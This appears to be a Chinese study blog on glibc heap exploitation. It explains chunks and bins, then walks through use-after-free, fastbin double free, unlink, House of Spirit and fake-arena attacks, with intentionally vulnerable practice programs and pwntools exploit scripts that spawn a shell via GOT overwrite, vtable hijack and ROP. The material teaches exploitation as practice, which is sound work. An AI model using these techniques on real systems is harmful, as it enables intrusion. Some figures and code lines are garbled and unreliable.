Glibc Heap Exp 发表于 2023-10-16 更新于 2023-10-21
字数总计: 3.2k 阅读时长: 15分钟 中国
Glibc Heap Exp Glibc Heap Overview GLibc Heap
Glibc Heap相关概念
glibc/malloc/malloc.c
要做到内存的管理:
有哪些位置的内存可以分配
有哪些位置因为free可以回收
有哪些位置使用中则不需要记录,使用它们的人应该记住这些指标
整个Heap的信息记录在一个malloc_state的struct中,称为main_arena
malloc分配的内存称为chunk,比要求的大小大一些,因为需要记录一些维护Heap用的额外信息
Arena和heap分配的内存分开存放,heap overflow无法直接覆盖掉它的部分
回收的chunk用linked list记录,称为bin
main_arena中有很多的bin,每个bin储存的size不同,目的是让malloc时可以找到最适合大小的chunk
回收的chunk会根据size来决定应该存放在哪个linked list(bin)中
1 2 3 4 5 main_arena{ bin[0](size=16)->chunk1->chunk5 bin[1](size=32)->chunk2->chunk3->chunk4 bin[2](size=48)->chunk.... }
malloc时,先从bin里面找可以使用的chunk,如果找不到才会真的分配新的内存给程序使用。分配时可以去找到足够大的chunk只切出需要的部分,剩下的部分会形成新的chunk
找不到可以用的chunk时会从top chunk里分配,top chunk是一个很大的chunk,代表可使用但是未分配的内存,malloc分配时从里面切一块下来,剩下的重新设置为top
1 2 3 4 main_arena{ mchunkptr top->top_chunk; mchunkptr last_remainder; }
编译glibc2.23时的一个问题
regexec.c:3856:29: error: ‘extra’ may be used uninitialized in this function [-Werror=maybe-uninitialized] const unsigned char *coll_sym = extra + cset->coll_syms[i];
1 export CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error"
使用docker时的一个问题 为了契合glibc2.19版本,使用docker创建了一个ubuntu14.04的容器,在修改地址随机化时提示权限不够,其实就是创建docker时需要特权进入:
1 docker run -it --privileged=true ubuntu:14.04 /bin/bash
Chunk
1 2 3 4 5 6 7 8 struct malloc_chunk { size_t prev_size; size_t size; malloc_chunk *fd; malloc_chunk *bk; malloc_chunk *fd_nextsize; malloc_chunk *bk_nextsize; }
64bit:mem=malloc(size) -> chunk=mem-16; chunksize=(size+8)#16 加8是为了给前一个chunk的data使用
实际的chunk位置是malloc得到的地址+16
chunksize是size+8后向上对齐16得到的
size:该chunk在内存中的大小,不是malloc size
fd,bk:指向bin里的前一个后一个chunk
一般来说bin就是double linked list
prev_size:前一个chunk size,维护heap时可以得知前一个chunk位置
Size(64 bit)
size标志位包含chunk size以及flag bits
chunk size为把size标志位最低3 bit:
fast bin<=128
small bin<2014
large bin
mmap>=9x20000
最低的bit为prev inuse bit,用来表示前一个chunk是否使用
free会使下一个chunk的prev_inust bit被设置为0
Heap操作
p=malloc(size)
找出一个可用的chunk,或从top chunk切下一块来
如果这个chunk是回收的,要先从bin里面unlink,即移除unlinked list
填好结构,并回传chunk+16
free(p)
检查该chunk内存地址的前后chunk,是不是not inuse
如果有,则这些回收的内存可以合并
合并后的新chunk放到对应的bin中
free 的例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <cstring> #include <stdio.h> #include <stdlib.h> using namespace std;void *Malloc (size_t sz) { void *p=malloc (sz); printf ("%p = malloc(%ld)\n" ,p,sz); } void Free (void *p) { printf ("free(%p)\n',p" ); free (p); } int main () { void *p,*q,*r,*s; p=malloc (152 ); q=malloc (10 ); memset (p,'A' ,152 ); free (p); }
malloc完毕:
1 2 3 4 5 6 7 8 9 10 11 12 13 gdb-peda$ x/36xg 0x0602000 0x602000: 0x0000000000000000 0x00000000000000a1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000021 0x6020b0: 0x0000000000000000 0x0000000000000000
meset完毕:
1 2 3 4 5 6 7 8 9 10 11 12 13 gdb-peda$ x/36xg 0x602000 0x602000: 0x0000000000000000 0x00000000000000a1 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x4141414141414141 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141 0x602050: 0x4141414141414141 0x4141414141414141 0x602060: 0x4141414141414141 0x4141414141414141 0x602070: 0x4141414141414141 0x4141414141414141 0x602080: 0x4141414141414141 0x4141414141414141 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x4141414141414141 0x0000000000000021 0x6020b0: 0x0000000000000000 0x0000000000000000
free完毕:
1 2 3 4 5 6 7 8 9 10 11 12 13 gdb-peda$ x/36xg 0x602000 0x602000: 0x0000000000000000 0x00000000000000a1 0x602010: 0x00007ffff7dd4bb8 0x00007ffff7dd4bb8 0x602020: 0x4141414141414141 0x4141414141414141 0x602030: 0x4141414141414141 0x4141414141414141 0x602040: 0x4141414141414141 0x4141414141414141 0x602050: 0x4141414141414141 0x4141414141414141 0x602060: 0x4141414141414141 0x4141414141414141 0x602070: 0x4141414141414141 0x4141414141414141 0x602080: 0x4141414141414141 0x4141414141414141 0x602090: 0x4141414141414141 0x4141414141414141 0x6020a0: 0x00000000000000a0 0x0000000000000020 0x6020b0: 0x0000000000000000 0x0000000000000000
Exploit:UAF
和chunk,bin等heap内部操作没有关系
让程序的两个指标指向同一个内存
一个是structure,另一个用作data buffer
利用对buffer的读写,修改或者泄露structure的内容
利用chunk的回收特性
one sample:
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <cstdio> #include <cstdlib> #include <cstring> class A { public : virtual void print () { puts ("class A" ); } }; class B :public A{ public : void print () { puts ("class B" ); } }; void sh () { system ("sh" ); } char buf[1024 ];int main () { setvbuf (stdout,0 ,_IONBF,0 ); A *p=new B (); delete p; fgets (buf,sizeof (buf),stdin); char *q=strdup (buf); p->print (); }
执行完
1 2 fgets (buf,sizeof (buf),stdin);char *q=strdup (buf);
gets内容为”AAAABBBB”后堆的内部变化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 gdb-peda$ lay src gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4242424241414141 0x000000000000000a 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io=remote("127.0.0.1" ,4000 ) sh_addr=0x40090D buf=0x601160 io.sendline((p64(buf+8 )+p64(sh_addr)).ljust(20 )) io.interactive()
堆:
1 0x601160:0x601168 _Z2shv
此时将0x601168当作虚表指针,指向了system(“sh”),然后再追一次调用system(“sh”)。
Fastbin Corruption fastbin
chunk size<=get_max_fast()的chunk,会被放在一系列称为fastbin的bin里
64 bit是128 byte,32 bit是64 byt
global_max_fast 一开始是0
Fastbin是single linked list,只使用fd,以NULL做结尾
Chunk size从32开始,共7个可以用的fastbin
free时不取消下一个chunk的inuse标志位,因为fastbin chunk不会和其它chunk合并
malloc,free操作时glibc会做一些检查,确认heap metadata是否正确,避免一些可能的攻击方式
为了效率,fastbin里的检查会比其他类型的bin少很多
fastbin corruption
让fastbin linked list指向任意地址,之后malloc就是将该地址作为chunk拿出来
freed(not inuse) chunk才会存在bin里,修改它的fd才会造成corruption
Fastbin Sanity Check
malloc从bin里取出,要从正确的bin里拿出来,即chunk size要正确
free时,nextchunk size要对
free时会检查bin里第一个chunk是不是跟这个要free的chunk相同
fastbin double free
fasttop只检查bin里的第一个chunk,只要不是连续free同一个chunk就行
1 2 3 free (p);free (q);free (p);
bin形成了一个loop:
1 2 3 4 5 6 0x602000: 0x0000000000000000 0x0000000000000031 0x602010: 0x0000000000602030 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000031 0x602040: 0x0000000000602000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000
Overflow Freed chunk
如果有heap overflow,可以覆盖下一个chunk的fd指标
先free掉下一个chunk再进行overflow
Overflow时要注意下一个chunk的size是否正确
测试程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <stdlib.h> #include <string.h> void sh (char *cmd) { system (cmd); } int main () { setvbuf (stdout, 0 , _IONBF, 0 ); int cmd, idx, sz; char * ptr[10 ]; memset (ptr, 0 , sizeof (ptr)); puts ("1. malloc + gets\n2. free\n3. puts" ); while (1 ) { printf ("> " ); scanf ("%d %d" , &cmd, &idx); idx %= 10 ; if (cmd==1 ) { scanf ("%d%*c" , &sz); ptr[idx] = malloc (sz); gets (ptr[idx]); } else if (cmd==2 ) { free (ptr[idx]); ptr[idx] = 0 ; } else if (cmd==3 ) { puts (ptr[idx]); } else { exit (0 ); } } return 0 ; }
覆盖地址方法(这里可能是libc版本的缘故,并没有在got表上下文中找到”\x40”作为fake chunk的size,所以做到填充的前一步),之后覆盖puts_got为system_addr,然后puts(3)即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context.log_level="debug" local = 1 binary_name = 'overflow1' if local: io = process('./overflow1' ) else : io = remote('127.0.0.1' ,4000 ) libc = ELF('./libc.so.6' ,checksec=False ) bin = ELF('./' +binary_name,checksec=False )def z (a='' ): gdb.attach(io,a) if a == '' : raw_input() def gets (index,sz,buff ): io.sendlineafter("> " ,"1 " +str (index)+" " +str (sz)+" " +buff) def free (index ): io.sendlineafter("> " ,"2 " +str (index)) def puts (index ): io.sendlineafter("> " ,"3 " +str (index)) gets(0 ,56 ,"AAAA" ) gets(1 ,56 ,"BBBB" ) free(1 ) free(0 ) puts_got=0x601020 system_addr=0x4007F6 gets(2 ,56 ,"A" *56 +p64(0x41 )+p64(puts_got)) gets(3 ,56 ,"/bin/sh\x00" ) io.interactive()
Free Arbitrary Address(House of Spirit)
其他overflow可以改掉一个原本由malloc得到的指针p,free(p)时会被改掉的指针进入fastbin,下次malloc是就可以拿到
Unlink Exploitation 合并 freed chunks
非fastbin chunk在free掉时,会跟前后的freed chunk合并
unlink() Macro
unlink()是用来把chunk移出bin用的,从double linked list移除
1 2 3 4 5 6 #define unlink(P,BK,FD{ \ FD=P->fd; \ BK=P->BK; \ FD->bk=BK; \ BK->fd=FD; \ }
利用
如果有overflow可以覆盖到某个chunk q的pre size,free q时可以控制unlink(p)的p
使得o的内容也可控
利用unlink机制造成dword shoot:
FD=p->fd=free@got.plt-0x18
BK=p->bk=shellcode
现在已经不可用,现在会进行检查:
实际的unlink会检查double linked list是不是合法的
1 2 3 4 5 6 7 8 9 10 #define unlink(P,BK,FD{ \ FD=P->fd; \ BK=P->BK; \ if (FD->bk!=P||BK->fd!=P) \ malloc_printrtr(check_action,"corrupted" ,P); \ else { \ FD->bk=BK; \ BK->fd=FD; \ } \ }
Overwrite Heap Pointer
unlink检查绕过,需要以下一些条件
一个指向heap内的指针
存放该指针的地址已知
可以对该指针写入多次
1 2 p->fd=&p-0x18 ; p->bk=&p-0x10 ;
mmap chunks
malloc size超过约0x21000时,会改用mmap直接请求内存
mmap得到的地址是连续的,得到的chunk会接在上一次mmap之前,通常最后一次mmap会是tls段
伪造arena
平常使用的arena是在libc内部的main_arena参数
malloc时会根据tls段上的某些指标决定使用的arena
mmap chunk overflow时可以盖掉arena指标
tls段上有stack address,stack guard canary
伪造的arena的fastbin部分,使得下次malloc时可以取得伪造的chunk
这个利用方式需要任意大小的malloc,但是不需要free
练习题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char cmd[1024 ];void sh (char *c) { system (c); } int main () { char * ptr[8 ]; char magic[32 ]; int size,n; setvbuf (stdout,0 ,_IONBF,0 ); memset (ptr,0 ,sizeof (ptr)); gets (magic); while (1 ){ fgets (cmd,1024 ,stdin); if (!strncmp (cmd,"add" ,3 )){ printf ("Index: " ); scanf ("%d" ,&n); if (n>=0 &&n<8 ){ printf ("Size: " ); scanf ("%d%*c" ,&size); ptr[n]=malloc (size); printf ("Data: " ); gets (ptr[n]); }else { puts ("out of bound" ); } }else if (!strncmp (cmd,"print" ,5 )){ printf ("Index: " ); scanf ("%d%*c" ,&n); if (n>=0 &&n<8 &&ptr[n]){ printf ("Size: " ); scanf ("%d%*c" ,&size); write (1 ,ptr[n],size); }else { puts ("nothing here" ); } }else if (!strncmp (cmd,"exit" ,4 )){ break ; } } return 0 ; }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context.arch="amd64" local = 1 binary_name = 'arena' if local: io = process('./' +binary_name) else : io = remote('127.0.0.1' ,4000 ) bin = ELF('./' +binary_name,checksec=False )def z (a='' ): gdb.attach(io,a) if a == '' : raw_input() def add (index,size,data ): io.sendline("add" ) io.sendlineafter("Index: " ,str (index)) io.sendlineafter("Size: " ,str (size)) io.sendlineafter("Data: " ,data) def prt (index,sz ): io.sendline("print" ) io.sendline(str (index)) io.sendlineafter("Size: " ,str (sz)) return io.recvn(sz) io.sendline("AAAABBBB" +p64(0x20 +2 )) cmd = 0x6010c0 sh=0x4008F6 add(0 ,0x21000 ,"" ) k=prt(0 ,0x23a00 ) ''' for i in range(0,len(k),8): x=u64(k[i:i+8]) if x!=0: print hex(i),hex(x) ''' stack=u64(k[0x239f0 :0x239f0 +8 ]) stack_guard=u64(k[0x23718 :0x23718 +8 ]) main_arena=0x236b8 chunk=stack-112 print "stack=" ,hex (stack)print "stack_guard=" ,hex (stack_guard)print "fake_chunk=" ,hex (chunk)data="A" *0x22000 +k[:main_arena]+p64(cmd+16 ) io.sendline("add" .ljust(16 )+(p32(0 )+p32(1 ))+p64(chunk)+"sh\x00" ) io.sendlineafter("Index: " ,str (1 )) io.sendlineafter("Size: " ,str (0x21000 )) io.sendlineafter("Data: " ,data) rop=flat( 0x0000000000400be3 ,0x6010e0 ,sh ) add(2 ,10 ,"A" *24 +p64(stack_guard)+"B" *24 +rop) io.interactive()